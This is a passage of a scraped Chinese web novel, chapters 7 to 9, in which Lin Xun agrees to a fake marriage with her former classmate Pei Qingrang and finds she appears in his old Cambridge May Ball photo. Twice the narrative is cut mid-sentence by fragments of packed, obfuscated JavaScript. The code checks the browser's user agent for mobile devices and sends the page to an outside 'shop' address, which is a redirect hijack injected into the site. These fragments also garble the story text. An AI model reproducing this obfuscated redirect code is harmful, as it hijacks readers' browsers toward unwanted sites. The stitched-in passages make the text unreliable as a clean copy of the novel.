她像个用完人就扔的渣女,抱起一篮子无花果:“我们去帮奶奶做晚饭?” “你的假结婚对象,有什么条件吗?” 目光相对,男人身形修长利落,月光倾泻他一身,当真是翩翩公子,高高在上,清俊无双。 “首先,得我不喜欢他,他不喜欢我,这样分开的时候才能不拖泥带水。” “其次,需要三观正,说话不讨厌,不然在家长面前装情侣,会非常煎熬。” 她的脑袋转得很快:“怎么,你有人介绍给我吗?你们公司那么多人,有没有不想结婚又被家里逼得很惨的男生?” “或许有一个。” 林姰瞬间打起精神:“说来听听?” “本科清华,硕博麻省理工,现在在芯片公司工作,年薪尚可,房产三处,车子两辆,身高一米八八,今年二十七岁。” 林姰尚未回神,裴清让轻声喊她名字:“林姰。” “嗯?” 被他身上好闻的气息笼罩着,林姰仰起脸,而他压低视线与她平视。 近乎完美的骨相,精致凌厉的混血感,因久居上位有种凛然的气势,可当他垂眸看她,那种凛凛杀气似乎不见了。 那卷翘浓密的睫毛轻轻覆着,清澈如水的瞳孔,干净又亮:“你觉得,裴清让可以吗?” 7. 第 7 章 ——你觉得,裴清让可以吗? 空气在这个瞬间停止流动。 林姰不可置信地看向裴清让,如果不是自己的耳朵出问题了,那就是裴清让的脑子坏掉了。 几天前,她和他还是不太熟悉的高中同学,虽然高一短暂同桌,但之后分班渐行渐远连联系都没有。 而现在,她和他先是被妈妈误会、她拜托他帮忙,又是被奶奶误会,他问她可不可以成为她假结婚的对象。 祝余的小说都不敢这么写吧? 裴清让的确很符合她的审美,肩宽腿长、喉结有痣也很戳她的xp,她也的确觉得他会是个不错的“结婚搭子”,但这一切停留在见色起意的层面。 她完全没想到他会是主动开口的那个。 没有居高临下,也没有玩世不恭,他的语气和眼神都认真,高高在上的人,把自己的姿态放得很低,轻声问她,你觉得裴清让可以吗? 恐怕没有人会觉得裴清让不可以。 抛开身份地位长相学识,他作为高中同学知根知底,是再好不过的合作对象,但她还是觉得有哪里不对劲。 他为什么要跟自己一样假结婚? 他身边应该不缺女孩子,独角兽公司创始人,单身且身价不可估量,除了同学朋友家里人介绍,合作伙伴也会想尽办法往他身边塞人。 她必须要问个明白:“为什么?” 朗月悬在天边,落他一身清辉,男人的声音格外清冷:“奶奶已经误会了,不想她白开心一场。” “她催你催得很紧吗?” “跟崔阿姨差不多。” 不应该啊,奶奶明明看起来很通情达理很慈祥,竟然也会像妈妈一样催婚…… 林姰对于这样的痛苦感同身受,人被催婚什么事情都能干得出来,比如她自己。 “反正我也不可能再找人结婚,所以我们,合作一下?” 林姰抿唇,那这样的话,他们确实可以合作一下。 找个高中同学,比找陌生人合作安全系数高太多。 林姰敲定商务合作一样利落,目光清透没有一丝杂质:“那就合作一下吧。” 裴清让说“好”。 这个人任何时候都是一副清心寡欲、对任何人和事都不感兴趣的模样,到底什么能让他失控,金钱、权力、地位,还是……情欲? “对了。” 林姰想起拿错手机那通电话、问他是不是见到白月光了,猜测他虽然现在没有女朋友、没有正在喜欢的人,但是有喜欢过的人。 “如果你遇到喜欢的人,一定要告诉我,需要的话,我会配合你做好解释,毕竟我们只是互相不喜欢的合作关系。” 裴清让勾着嘴角,声音却无半分笑意:“那我提前谢谢你了。” “应该的。” 他这样教科书级别的禁欲系,喜欢一个人的时候是什么样子,也会牵手拥抱接吻吗?男人的下颌线很漂亮,喉结清晰锋利,接吻的时候应该很带感。 裴清让也就是遇到她,最多最多白嫖一下美色,实则对他没有任何图谋,万一遇到个图财的或者图色的,到时候不肯分手就坏了。 思及此,林姰觉得自己是个正直善良的好人,于是迎着裴清让的目光点头,欣然接受他提前的感谢。 - 春末夏初,白昼渐长。 这栋别墅的落地窗足有整面墙大小,日落十分天空如同打翻油彩的调色盘,窗外高楼大厦和江上船舶交相辉映。 也许是因为高中同学的关系,林姰总忘记裴清让是个有钱人。 这会儿,他换下衬衫西装裤,把奶奶从厨房请出来,自己去做饭,哪有半分小说里霸道总裁的样子。 这大概就是白手起家和纨绔子弟的区别,更何况他还是研发出身,融资投资都交给其他人,某种程度上来说,他的生活非常干净纯粹。 裴樱怕林姰无聊带她参观家里:“只要哥哥在家,都是哥哥做饭。” 林姰低声感叹:“他竟然会做饭。” 裴清让看起来就是十指不沾阳春水的少爷,尤其是穿西装的时候,冷着脸贵气逼人。 裴樱重重点头:“我是哥哥带大的,他不做饭,我俩就都饿死了。” 那妈妈爸爸呢?奶奶爷爷呢?为什么是哥哥带大妹妹? 林姰脸上的诧异太明显,裴樱不解:“哥哥没有跟你说过吗?” 林姰摇头,不管高中还是现在,她对裴清让知之甚少,相信裴清让对她也是一样。 裴樱平静得像说起别人的事情:“爸妈离婚的时候都想要哥哥,但哥哥谁都没跟。” “从高中一直到大学前的暑假,哥哥都在乐队兼职鼓手,赚我俩还有雪糕的生活费——雪糕是哥哥捡的流浪狗。” “后来哥哥的手受伤了,就不怎么打鼓了,”裴樱捏了捏自己无名指指根位置,给林姰看,“现在这里还有疤痕。” 某些画面蓦地浮现脑海——酒吧后面的巷子,打架的一身戾气的少年,后视镜里自己包扎伤口的沉默身影,以及他们说的那个、巨帅的鼓手…… 所以那天,他为什么要打架? 对于鼓手来说,不是应该非常宝贝自己的手吗? 林姰问:“雪糕呢?怎么没有见到它?” 裴樱:“已经不在了,不然姐姐你一定会非常非常喜欢它。” 高三的时候,林姰也捡过一只流浪狗,后来被爸爸瞒着她送走,只养了一个星期,可每每想起,就很难过。 “哥哥心软,那段时间总喜欢坐在狗狗的小窝前发呆,我怕他太难过了,说我们再买一只可爱更聪明的回家。” “但是哥哥说这个世界上有很多很多的小狗,只有一只是他自己的小狗。他再也不会养狗了。” 心脏像是被什么一下击中。 如果他的小狗听到这句话,一定很开心吧。 被珍视,被放在心上,被妥帖照顾,就算离开,也不会被取代。 所以,裴清让是这样的人吗? 那副冷淡拽哥、百无禁忌的外表下,藏着一个非常温柔长情的灵魂。 就是这时,裴樱被人敲了脑袋,男人没有情绪的嗓音从头顶落下:“我再不过来,你要给我出本自传?” 裴樱笑弯眼睛,哥哥手下的人怕他怕得要命,但她不怕:“嗯,就叫《我那老父亲一样的亲哥》。” 林姰无声笑了笑。 走廊被裴樱布置成照片墙,大多都是女孩子的自拍,裴清让出境的,要么是侧脸,要么是手,要么是被裴樱拉着,青年眉眼间是淡淡的不耐烦,嘴角却又勾着纵容的笑意。 相纸有其独有的沉静和岁月感,林姰一张一张看过去,却在某个瞬间脚步一顿。 隔着照片,伦敦的阴雨天气扑面而来。 那是剑桥每年最热闹的时候——五月舞会,一票难求且价格高昂,舞会期间可以穿着礼服蹦迪狂欢。 林姰的学霸同学们对此十分热衷,仍记得同班同学前一天爬山摔断腿,为了不错过舞会,拄着拐杖也要去。 在这样的背景下,镜头前的裴清让双手抄兜,站姿随意但肩背挺直,下巴微扬起,下颌线刀削笔刻般锋利,整个人像一把沉默的剑,和热烈疯狂的舞会氛围格格不入。 他的西装外套不知道哪去了,身上单一件白色衬衫,从质地剪裁就能看出价格不菲,领口没有戴舞会要求的黑色领结,甚至松了两颗扣子,平直清晰的锁骨露出一点端倪,喉结冷淡凸起,更显不羁。 而这个英俊男人身后,是林姰再熟悉不过的、她们学校的康河。 她转身问他:“你研究生不是在波士顿读的吗?” 他应声:“是。” “如果我没看错的话,这是我们学校,那天是剑桥的五月舞会,”林姰指着照片,“你怎么会来我们学校?” 从波士顿到伦敦,七个小时航程。 而他不像是喜欢凑舞会热闹的人。 裴清让散漫回了句:“同学在那。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172434|150499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “原来如此,”林姰没有问这个同学是谁、是男是女,这不在她关心的范畴,“你可能不知道,我本硕是在这里读的。” 说起母校,她的眼睛很亮:“你的同学有没有带你去康河坐小艇?去看《再别康桥》的石碑?开学时最让我惊讶的是,学校正门门口右侧的苹果树,真的是牛顿家乡的苹果树分支……” 裴清让回:“没有。” 大老远来了,都没有好好转一转吗? 林姰替他遗憾:“你这个同学不太称职啊,如果你联系我就好了。” 裴清让垂眼,瞳孔又暗又沉,因那一点点蓝灰更显清透:“如果我联系你,你会怎样?” 作为老同学,理应尽地主之谊,让他七个小时的航班物有所值。 “来了剑桥,当然要带你去康河坐小船,校园的景色特别美,还有一家网红餐厅,她家的柠檬sorbet我现在都很怀念……” “可我没有你的联系方式。” 哦,也是。 高中时崔女士对手机管控严格,每次用手机电脑都要说明缘由,甚至还要时不时检查她在做什么。 有一次她登录微信没有退出,去个卫生间回来,妈妈已经在看她的聊天记录,刚好有男生写了小作文表白,被念出来的尴尬难堪,现在想来,记忆犹新。 妈妈非常坦然地告诉她——你现在太小,分不清好人坏人,还有这个好友申请是哪个男生?我给你拒绝掉了。 无力、委屈、被窥探隐私的羞耻堆积成爆发前的火山,她不知道这个节骨眼是哪个男生加她好友,却已经对他心生埋怨,为什么要加她好友、让她被妈妈说?她明明已经很烦了。 可是,所有烦躁,在看到妈妈拿出胰岛素、自己往自己肚子上扎针的时候,硬生生被咽下去,变成一句死气沉沉的:“我以后不用手机了,学校通知你帮忙看吧。” “那你来就只参加了五月舞会?” “嗯。” “太可惜了,起码应该去康河坐一次船的。” “不可惜,我不是为了风景去的。” “我只是,”他看着照片的某一处,冰冷嗓音难得有些软,“想见人一面。” 林姰没有问这个人是他的谁,是好朋友、好兄弟、前女友还是白月光,她不感兴趣也不在意。 看到什么,她往前走了一步,眼睛盯着照片的某个位置,怀疑是自己看错,甚至因为太过震惊,手臂都起了一层鸡皮疙瘩。 在英俊青年身后,有个女孩的背影—— 盘发,墨绿礼服裙及脚踝,肩上披着一件宽大的男士西装外套。 伦敦的天气堪比变脸,前一天的气温还在三十多度,第二天就可以冷到颤抖,舞会那天的半夜更是到了十度以下。 林姰没有做好功课,去舞会也只是意外——她心情不好想要喝酒想要看烟花,好让自己忘记那天是外婆的忌日,而她没有见到她最后一面。 没想到毫无经验冻得不行,直到同学叫她名字,递过来一件西装外套。 她理所当然以为是同学好心相助,没想到直到舞会结束也没找到外套的主人。 照片里擦肩而过的两人,人生如同两条平行线的两人,现在竟然并肩站在一起。 林姰的语气里,是明显的不可思议和兴奋:“这个人好像真的是我,这件西装现在还挂在我的衣柜里……” 因为时至今日,都没有找到西装外套的主人。 而裴清让还是那副不羁又无所谓的样子,好像任何时候都可以有种置身事外的冷静,他似乎并不感兴趣,垂着长长的睫毛看她,嘴角勾了勾,没有说话。 毕竟她只是一个匆匆路过的行人,是这张照片不起眼的背景板,照片的主人公没必要因为她的出现惊喜。 可她却为命运里不为人知的奇妙际遇感叹。 原来在她不知道的时间地点里,她曾经无意闯进他的镜头。 他就在她的身后。 只要回头,就能看见。 8. 第 8 章 照片里是她在英国的最后一年。 每年期末考之后的五月舞会,是剑桥一年中最热闹的时候,舞会的名字叫五月舞会,实则是在六月举办。 那是每年林姰最不想度过的月份。 她原本不会出现在那样的场合,她每天都很忙,忙着上课,忙着写论文,还要打好几份工。 偶尔也去一家划船公司负责社交媒体运营,她做什么都很出色,那家公司的营业额在她来之后翻了几倍,打工赚来的钱可以艰难覆盖她在英国的生活费。 人一旦忙起来,就会被推着往前走,她以为她已经忘记外婆离开有多难过。 却在六月到来之后,频繁做梦,每天闭上眼睛,她都跑在从学校回外婆家的路上。 喉咙腥甜,腿像灌铅,她告诉自己跑得快一点、再快一点。 无数次推开门,无数次对上的、只有客厅的黑白遗照,就这样,一遍一遍在梦里经历外婆离开的难过。 去打工的闹钟准时把她叫醒,屏幕上的日期换算成中国时间,是外婆的忌日。 窗外是伦敦的阴雨天,细雨蒙蒙,缓慢渗进她的心里,潮湿一片。 外婆信佛,信因果轮回。 如果离开后会忘记前世开始下一世,外婆现在,已经开始新的生活了吗? 她好想再见她一面,哪怕是在梦里。 手机震动,是她的合租室友打来电话,本科清华的中国女孩,男朋友在麻省理工读研,了不起的异国恋。 林姰起床收拾自己:“不是请男朋友去舞会了吗?怎么还有时间给我打电话。” “他还有几个同学一起来的,”室友问她:“礼服裙要黑色还是墨绿?这条墨绿的更适合你,你穿上肯定很像美人鱼。” 林姰懵掉:“什么?” 室友兴奋道:“他的同学多买了一张票,如果你不来只能平白无故浪费掉了。” 林姰充满歉意:“不好意思宝贝,我今天心情……”非常非常不好。 室友雷厉风行:“就这条墨绿的了,马上收拾出门跟我去舞会!” 来不及思考一票难求的门票,为什么会凭空多一张,为什么不能转手卖掉。 舞会在焰火表演中拉开帷幕,学神们盛装出席,美酒美食无限供应,甚至还撞见有人在夜空下求婚,这一天盛大绚烂如同电影的结局。 所有委屈难过异国他乡求学的心酸,在烟花炸裂的瞬间爆发,而后悄无声息消散,心底只剩一片光明灿烂。 只是林姰忘记提前看天气预报,完全没有想过前一天还是三十度热得要命,夜里气温已经骤降到十几度。 她冷得快要不能维持冷艳美女的表象,踌躇是现在离开,还是咬牙忍一忍玩回几百英镑的票价。 身侧的陌生女孩穿过人群,把西装外套递到她手里:“有人让我给你的。” 林姰讶异接过:“是谁?” 未免也太有绅士风度了。 人潮汹涌,女生张望四周,已经不见那人,只说:“一个震撼人心的黑发帅哥。” 她语气兴奋地跟她形容:“光是看着他的眼睛,就好像和他吻上了。” 价格昂贵的C家西装,剪裁质地将性冷淡风发挥到极致,林姰想不出班里哪个同学有如此品味,只是单看尺码,这人一定很高。 她急需外套救命,西装披在身上的瞬间,冷冽香气萦绕鼻尖,那味道孤傲也温柔,似乎还带着体温。 等遇到衣服的主人,她一定要问一问是哪个牌子的香水,会让人觉得鼻尖都落了雪,而且要好好看一看,到底是有多帅,才能称得上“震撼人心”。 这样昂贵的衣服,等舞会结束,主人一定会来找她讨回吧? 舞会从前一天傍晚,持续到第二天清晨。 林姰吃了美食、拍了焰火、看了现场表演,甚至目睹精神亢奋的同学脱下衣服跳进河里。 累到极致也兴奋到极致,最后在拂晓时分,她窝在西装外套里安心睡去。 梦里,她再一次跑在从学校回外婆家的路上。 推开门的刹那,她的脚步慢下来,始终不敢抬头。 “阿姰。” 林姰张了张嘴,还未发出声音,眼泪夺眶而出。 无花果树下,外婆看起来还很年轻,她笑着说你过得好,外婆就可以放心了,外婆这就要走啦。 你要去哪儿啊…… 是要忘记所有和我的记忆,开始崭新生活了吗? 外婆笑着没有说话。 睁开眼时,天光大亮,阳光落在身上,像外婆漂洋过海只为见她一面的温暖目光。 林姰鼻腔酸涩,眼角泪光闪烁。 你看,你不在我还是会去唱歌、跳舞、吃好吃的蛋糕、看绚烂的烟花。 所以,放心吧。 外婆,再见啦。 …… 那件西装,舞会结束就被送去高档洗衣店,花掉林姰半个月的薪水。 她想不通,为什么如此昂贵的奢侈品可以随意递给女孩子取暖。 是有钱到不在乎? 还是……对方是她不知名的追求者? 舞会之后他便杳无音讯,显然是前者。 时至今日,那件西装外套挂在她的衣橱,不知道主人是谁。 只是遗憾没有说一句谢谢。 谢谢那一场舞会,谢谢那一件西装。 谢谢室友“自作主张”把她从情绪的泥沼里拉出来。 让沉浸在悲伤情绪里无法自拔的她,得以看见了太阳。 - 晚饭后,林姰和奶奶道别。 她抱着满满一篮子无花果,给足情绪价值:“谢谢款待,饭菜超级好吃,无花果也是。” “你喜欢就多让他给你做,”盛秋云瞥了一眼裴清让,笑眯眯道:“那棵树他搬回家的时候已经快死掉了,一直当个宝贝似的照顾着,没想到今年就结果子了,原来是给女朋友种的啊。” 女朋友是假的,但林姰的喜欢是真的。 她买过很多次无花果,都不是小时候吃过的味道,可是奶奶家这棵树上摘下的果子,和以前在外婆家吃到的一模一样。 如果这棵树不是长在奶奶家,她会觉得这就是外婆家那棵。 盛秋云喜欢她喜欢得不得了:“等哪天有空再来奶奶家吃饭好不好?” 裴请让垂眸,林姰弯着眼睛点头,冷清带刺的人,难得露出不曾示人的乖顺。 “送你回家。” 车子发动后,后视镜仍能看见奶奶站在无花果树下,笑意温暖慈祥,有那么个瞬间,林姰觉得看到了外婆。 车子密闭的空间里,两人半生不熟,并没有很多话聊,裴清让随手打开车载音响。 如果你在某一段时间听某一首歌,就会在再次听到那首歌的时候,回到那段时间。 当《Yellow》的前奏响起,林姰仿佛回到高中。 她曾经很喜欢这支乐队,喜欢到每次学校广播站有人点播这首歌,她一定会站在那里听完再回班里。 而裴清让的歌单里,好几首这支乐队的歌,不是热门曲目却刚好是她喜欢的,歌单名字叫lx’s,大概是随便敲下的乱码。 没想到八竿子打不到的两人,喜好竟然能重合:“这是我高中最喜欢的乐队。” 裴清让好像对什么都不上心,只轻轻“嗯”了声作为回应,没有问她最喜欢哪一首——如果他问的话,她还会告诉他,她最喜欢的就是这一首。 “上学的时候,他们来伦敦开了好几次演唱会,本来都买到票了,但时间不凑巧。” 她要打工、上课、考试、写论文,自己供应自己读书,不可能随心所欲肆意挥霍。 裴清让不带情绪地说:“我去看过,很多次。” 没想到他是这支乐队的死忠粉,林姰感叹:“这么喜欢。” 他说话时的懒散和漫不经心,配上那张覆着霜雪的俊脸,让他说什么都像是敷衍:“还好。” 还好?明明应该是非常非常喜欢。 不然为什么要去看那么多次现场。 是太闲了还是钱太多没有地方花? 更何况这是一支英国乐队,他需要从读书的美国飞到她上学的英国。 “如果我去看现场,说不定能在现场遇见你。” 就像五月舞会那天,一不小心闯入他的镜头。 她的目光从车载屏幕,到他搭在方向盘修长白皙的手,上好白玉雕刻的一般,骨骼清秀青筋脉络明显,不知道牵起来是什么触感。 “那还真是可惜了。” 他说话总是简短,声音其实很好听,干净清澈,就是不知道说情话的时候是不是也这样冷淡。 林姰眼神真挚,不由感慨:“裴清让,你真的很高冷,难怪找不到女朋友。” 裴清让睨她一眼,嘴角难得勾了下,看起来好像很软:“跟你说的已经算多。” 语气里似乎有淡淡的无可奈何。 车到半程,林姰手机震动,是好友祝余。 “宝!我最近给你考察了一个男生,本硕C9,个子一米八,长相很清秀,是个不婚主义……” 她和裴清让的事太过突然,还没来得及和好友交代,她对祝余向来没有任何隐瞒。 林姰看了眼这位开豪车的高冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172435|150499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帅哥,低声说:“我已经找到假结婚对象了,还没来得及跟你说。” 祝余缓了半天:“谁?你可千万要小心!他说不定是骗财骗身骗色!” 谁对她骗财骗身骗色,裴清让都不可能,财他自己有,至于“身”和“色”,还不确定是谁骗谁、谁更吃亏一点。 他身上干干净净的清冷劲儿太勾人,越是禁欲越是惹别人对他做点什么,美色当前,谁能不低头。 这事儿一时半会说不清楚,林姰道:“等见面跟你说。” “好,”祝余应下来,“还有还有,十万火急,我又卡文了!” 祝余写小说从来不写大纲,属于“有今天没明天”的那一挂,跟读者一样不知道明天会发生什么,能不能按时更新连载,纯靠“生死时速”。 所以,三天一卡文,五天一发疯,痛苦到快要撞墙的时候,就会打电话给她,让她帮忙提供一点灵感。 这种时候挂电话就很不仗义了。 林姰耐心询问:“卡在哪里啦?” 祝余垂头丧气:“卡在男女主十年不见重逢的第一句话!” 林姰蹙眉:“十年没见面,那叫什么喜欢……” 祝余解释:“只是女主视角里十年没有见!男主当然去见过她很多次呀!” “这样啊……你的男主还是个大情种呢。” 现实生活中,怎么会有一个人不报希望地暗恋一个人十年,还在对方完全不知情的情况下,偷偷去见对方。 也就是祝余这样的母胎单身,能写出这样完美深情没有瑕疵的男主,因为对爱情还存有美好幻想。 “现在是什么情况?” 祝余语速飞快地讲完前后剧情:“现在就是,男主在同学聚会上遇见暗恋的女主,我想不出他第一句话会说什么!” 林姰没有暗恋的经验,甚至没有喜欢过任何人,迟疑着开口:“……好久不见?” “太普通了,我要那种深情又不至于太深情的,男主现在肯定是面无表情冷若冰山极力克制自己的状态……” 林姰保证:“我一定帮你好好想想,现在还有事,回家跟你说。” 祝余:“好!” 林姰挂断电话,齿尖无意识咬着下嘴唇,那是她纠结时惯有的细微动作。 “遇到什么事了吗?” 开车的人没有看她,车窗外五光十色的霓虹飞快向后,他英俊白皙的脸隐匿在阴影中,鼻梁到下颌的线条凛然俊秀,没有任何缓冲。 林姰发现,原来他下颌靠近脖颈的位置也有痣,那块儿的皮肤不见阳光,有种冷瓷的质感。 “祝余业余在写小说,现在卡住了。” 她想破脑袋也想不出有分寸感、又能体现暗恋的话,只好向裴清让求助:“你说,如果一个男生暗恋一个女生十年,他们重逢的时候,说的第一句话会是什么呢?” 她像是解题一样提出自己的思路:“他肯定不能一上来就说我喜欢你。” “为什么?” 林姰从自己的角度出发:“那样很像是道德绑架,你看我都喜欢你十年了,你是不是也应该喜欢我一下?如果我是那个女生,我会觉得有点恐怖,甚至会被吓跑。” 她不喜欢沉溺于自我感动的追求者,大多数时候他们所做的事,对于被暗恋的一方只是打扰,满足的是自己的私心,而因为暗恋只是暗恋,她都没有办法明确拒绝,有苦说不出。 她讨厌被暗恋,心很硬也很冷,只对限定的人柔软,而就是这样冷漠感情稀薄的她,也有猝不及防被触动的时刻。 是那件递过来的西装。 是那张不期待被发现的明信片。 是我喜欢你,但是和你无关。 如果是那位明信片同学,他会和自己说什么呢? 车里那首《Yellow》已经到了尾声。 明明是肆意张扬的曲调,唱的却是藏在心中胆怯、羞涩的喜欢。 歌的最后一句,是近乎诉说的:“You know i love you so”。 我是如此的爱你。 在这首歌的尾声里,裴清让偏过头看她。 月光在那双清透深邃的瞳孔里静静流淌,那天生锋利的眉眼,似乎也有种难以言说的温柔。 “他或许会问。” 当他看着她的眼睛,林姰分不清他的话是对她说的、还是回答她的问题。 “过得好吗。” 不是告诉你我喜欢你,也不是想要从你这里得到什么。 就只是想要知道—— 这位同学,在我看不到的时间地点里。 你过得好吗? 9. 第 9 章 ——他或许会问。 ——你过得好吗? 当那双睫毛浓密的眼睛,心无旁骛地注视着她,林姰有种非常自作多情的错觉,错觉她是不知情的女主,而裴清让暗恋她十年,与她久别重逢。 他的字音咬得很轻,落在耳边,似乎有种认命的意味——我知道你不喜欢我,所以我不能说我很想你,不能说喜欢你,只能问你:过得好吗? 冰冷的声线里,甚至有种不应该出现在他身上的小心翼翼。 学生时代的天之骄子,如今的芯片公司创始人,春风得意风光无两,从没有向任何人和事低过头,没有人可以比他更骄傲。 那他喜欢一个人的时候是什么样子? 也会像《Yellow》里唱的,干净热烈却也羞涩胆怯,小心翼翼不敢宣之于口吗? 黑色越野车在家门口停下。 林姰谢谢裴清让送自己回家,还帮自己解决了大难题:“等以后祝余的小说拍成电视剧,我让她分你版权费。” 裴清让轻扬眉:“你替我收着好了。” 就在她要转身上楼时,猛地想起还有正事,又跑到裴清让那侧,敲下车窗。 “我们公司有意和苍梧合作,但老大约不到你,听说我和你是校友,想要我在中间牵线搭桥。” “他倒是挺会找人,”裴清让轻嗤,“我不在酒桌上谈合作。” “那我明白了。” 林姰工作以后参加过太多不得已的饭局,对酒桌文化深恶痛绝。 身居高位者才能如此硬气,在这个人情社会,说出“我不在酒桌上谈合作”,下位者总是需要在酒桌上溜须拍马、阿谀奉承,才能达到利益交换的目的。 她虽然想要升职加薪,但不想强人所难,说完“路上小心”就准备上楼,裴清让却迟迟没有发动车子。 她疑惑:“还有事?” 裴清让看着她的眼睛:“你想我去吗?” 他的语气和目光都认真,说得就像只要她想,他就可以无条件为她打破原则。 林姰动摇了,她要把裴清让当成升职加薪的跳板吗? 踩着他促成乐游和苍梧的合作,只需要厚脸皮一点,就不用回公司看马鸣的脸色。 可她就是觉得,裴清让不应该出现在酒桌,和一群中年油腻男推杯换盏。 她不能仗着他好说话欺负他,他这样干干净净又一尘不染的人,就应该像天边的月亮永远高高在上。 “我不想你去,”视线相对,林姰目光坦诚,“你不应该出现在那种地方,太脏了。” 说完她后退两步跟他道别:“我回家啦。” 回到出租屋之后,林姰一刻没有耽搁,拨通祝余的电话:“你觉得,男主见到女主的第一句话,用‘过得好吗’怎么样?” 手机按下免提放在桌子上,林姰把无花果一颗一颗洗净。 “妙啊!” 祝余的声音因为兴奋明显高了几分:“不是我喜欢你,也不是好久不见,而是过得好吗,看不见你的日子里,我只是希望你过得好,这才是暗恋该有的样子啊!” 小说作者感情果然细腻,短短四个字就能当阅读理解来做,林姰不能不佩服。 耳边传来键盘噼里啪啦的声音,随着回车键被重重敲下,祝余长舒一口气:“更新发出去了!” 林姰用纸巾把无花果擦干,戴上一次性手套剥皮,去皮的无花果一个一个码到玻璃保鲜盒里,空气里都是浸了蜜一般的清甜香气。 无花果不宜保存,外婆在的时候,会用这样的办法给她冷冻,林姰最喜欢冬天在开着暖气的房子里,吃慢慢化开的无花果,口感像冰淇淋。 她生怕明天祝余还是会卡文,主动问起:“接下来会怎么发展呢?” 说到自己写得顺畅的地方,祝余语气轻快:“女主被家里催婚,这个时候男主当然要抓住机会,他生怕再错过,所以提出和女主假结婚!” 林姰手上的动作一顿。 如果不是她正在亲身经历,阴差阳错被一步一步推到这里,她肯定会觉得祝余的小说很扯。 “对了,你的假结婚对象是怎么回事?靠谱不靠谱?” 祝余顾虑重重:“假结婚放在小说里很浪漫,放在现实里搞不好就是刑事案件,那个臭小子是图财还是图色?!” 谁对她有所图谋,裴清让都不可能,林姰轻声说了三个字:“裴清让。” 电话那边足足沉默了半分钟,饶是文字工作者祝余,此时此刻也只能干巴巴蹦出一句:“我嘞个豆!” 林姰把前前后后的事情说给祝余听,祝余冷静分析:“这也太巧了,比我的小说还要一环扣一环,我能拿来写小说吗?注明灵感来源我最好的朋友。” 林姰欣然应允:“无偿授权。” “你说有没有一种可能,裴清让暗恋你啊?” “他是不婚主义,不想老人白开心一场,”林姰把一盒一盒的无花果密封放进冰箱,“我跟他高中几乎没有交集,他为什么要暗恋我。” 林姰不喜欢暗恋的戏码。 任何时候都要被凝视,抓住一切机会和她接触,自作主张帮忙买早饭放在她的书桌弄脏她的课本,在无关紧要的节日送礼物,最后闹得人尽皆知,所有人都说你看他对你多好、快答应了吧……烦不胜烦。 所以她曾拒绝追求者:彼此喜欢表白才有意义,不然你说出来打扰我就是一种不礼貌。 “裴神确实也不太可能顶着一张那样的脸玩暗恋,”祝余就是觉得哪里不对劲,“万一人家是个纯爱战神呢?” “同学聚会那天,他不是说在场没有喜欢过的人吗?现实不是小说。” 大家都很忙,目的明确,这个不行就下一个,上午表白晚上就想上床,今天表白明天就可以结婚。 怎么会还有人,小心翼翼把喜欢藏在心里十年,就只是希望在他看不见的时间地点里,你过得很好很好。 林姰不信这个,就像唯物主义不信神佛,她宁可相信握在手里的金钱权力地位。 爱情于她来说太看不见摸不着,看不见摸不着的东西要如何相信它的存在? - 之后几天,林姰没有再见到裴清让。 他们不是真的男女朋友,不用互问早安晚安报备行程,却也因为他这个假男朋友,耳边前所未有的清净,完美体现一个假男朋友该有的价值——不打扰她的生活,也让她的生活不被打扰。 与此同时,公司会议公布人事调整。 所有人都觉得产品负责人非林姰莫属,粥粥和赵然甚至已经买好蛋糕准备庆祝。 让所有人大跌眼镜的是,产品负责人从市场部空降,叫方茂森——穷苦出身的80后领导,正是要出成绩的年纪,听说刚买了天价学区房,是踩着下属拼命往上爬的那类人。 方茂森不止空降,还自带嫡系,正是对林姰敌意很重的陈万豪。 所有人都以为陈万豪对她的敌意,源于两人同年校招进公司,而林姰头脑聪明能力强悍懂研发也懂产品,处处压陈万豪一头。 而事实是,进公司之初她拒绝过陈万豪的示好靠近,那个时候他在老家已经有谈婚论嫁的相亲对象,却对她纠缠不休,林姰拒绝得不留情面。 陈万豪却将原因归咎于他是农村出身而她是官二代,她打心眼里瞧不起他。事实是,林姰从来没有将他放在眼里过,何来瞧不起。 现在好了,一个方茂森一个陈万豪,群狼环伺。 “林姰,跟裴清让联系上了吗?” 会议结束,马鸣没有半分愧色,叫住林姰。 林姰想要冷笑,但还是控制住表情:“裴总不出席私人饭局。” 方茂森适时凑上来:“马总,我能联系到苍梧那边,裴清让有点难度,但我和他们那边负责融资投资的李明启有点私交。” “是吗?你怎么不早说?我还在这白费劲。” 马鸣和方茂森从林姰身边走过去,没再分给林姰半个眼神,意有所指地表扬道:“产品负责人就是需要你这种沟通能力强的,大到协调甲方供应商,小到协调研发、测试,连个高中同学都联系不上,怎么能当好负责人?” 林姰忍不住幻想把手里的咖啡杯砸他脑袋上,看看里面是不是横亘着马里亚纳海沟。 就算她联系上裴清让,这次升职也没她什么事儿,公司的关系网错综复杂,她不站队想要当个“纯臣”,也就意味着单打独斗孤立无援。 到家之后,她心中烦闷,从冰箱里拿出两罐冰啤酒,窝在沙发上叩开易拉罐。 刚拿起手机,就看到刚刚推送的消息——【知名女星翁惠疑似恋爱中!】 算起来,翁惠是她的高中校友,在艺考之前就已经是个小有名气的网红,是那年的中戏第一,现在资源好到爆炸,传言背后有资方大佬,传得神乎其神。 林姰不关注娱乐圈,关于这位校友,她印象最深的是高三元旦晚会,翁惠当着全校和裴清让表白,起哄声快要把学校礼堂的顶掀掉,吵到背单词的她。 